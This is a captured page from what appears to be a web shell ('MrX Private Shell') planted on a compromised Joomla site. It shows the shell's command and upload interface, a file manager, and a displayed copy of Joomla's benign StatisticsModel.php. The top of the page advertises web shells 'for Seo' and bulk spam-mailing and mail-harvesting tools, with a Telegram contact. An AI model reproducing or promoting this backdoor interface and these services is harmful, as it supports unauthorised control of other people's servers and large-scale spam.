__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Finder\Administrator\Model;

use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;
use Joomla\CMS\Object\CMSObject;
use Joomla\CMS\Plugin\PluginHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Statistics model class for Finder.
 *
 * @since  2.5
 */
class StatisticsModel extends BaseDatabaseModel
{
    /**
     * Method to get the component statistics
     *
     * @return  CMSObject The component statistics
     *
     * @since   2.5
     */
    public function getData()
    {
        // Initialise
        $db    = $this->getDatabase();
        $query = $db->getQuery(true);
        $data  = new CMSObject();

        $query->select('COUNT(term_id)')
            ->from($db->quoteName('#__finder_terms'));
        $db->setQuery($query);
        $data->term_count = $db->loadResult();

        $query->clear()
            ->select('COUNT(link_id)')
            ->from($db->quoteName('#__finder_links'));
        $db->setQuery($query);
        $data->link_count = $db->loadResult();

        $query->clear()
            ->select('COUNT(id)')
            ->from($db->quoteName('#__finder_taxonomy'))
            ->where($db->quoteName('parent_id') . ' = 1');
        $db->setQuery($query);
        $data->taxonomy_branch_count = $db->loadResult();

        $query->clear()
            ->select('COUNT(id)')
            ->from($db->quoteName('#__finder_taxonomy'))
            ->where($db->quoteName('parent_id') . ' > 1');
        $db->setQuery($query);
        $data->taxonomy_node_count = $db->loadResult();

        $query->clear()
            ->select('t.title AS type_title, COUNT(a.link_id) AS link_count')
            ->from($db->quoteName('#__finder_links') . ' AS a')
            ->join('INNER', $db->quoteName('#__finder_types') . ' AS t ON t.id = a.type_id')
            ->group('a.type_id, t.title')
            ->order($db->quoteName('type_title') . ' ASC');
        $db->setQuery($query);
        $data->type_list = $db->loadObjectList();

        $lang    = Factory::getLanguage();
        $plugins = PluginHelper::getPlugin('finder');

        foreach ($plugins as $plugin) {
            $lang->load('plg_finder_' . $plugin->name . '.sys', JPATH_ADMINISTRATOR)
            || $lang->load('plg_finder_' . $plugin->name . '.sys', JPATH_PLUGINS . '/finder/' . $plugin->name);
        }

        return $data;
    }
}

Filemanager

Name Type Size Permission Actions
FilterModel.php File 3.75 KB 0664
FiltersModel.php File 4.31 KB 0664
IndexModel.php File 14.12 KB 0664
IndexerModel.php File 1.14 KB 0664
ItemModel.php File 2.92 KB 0664
MapsModel.php File 12.18 KB 0664
SearchesModel.php File 4.7 KB 0664
StatisticsModel.php File 2.62 KB 0664
Filemanager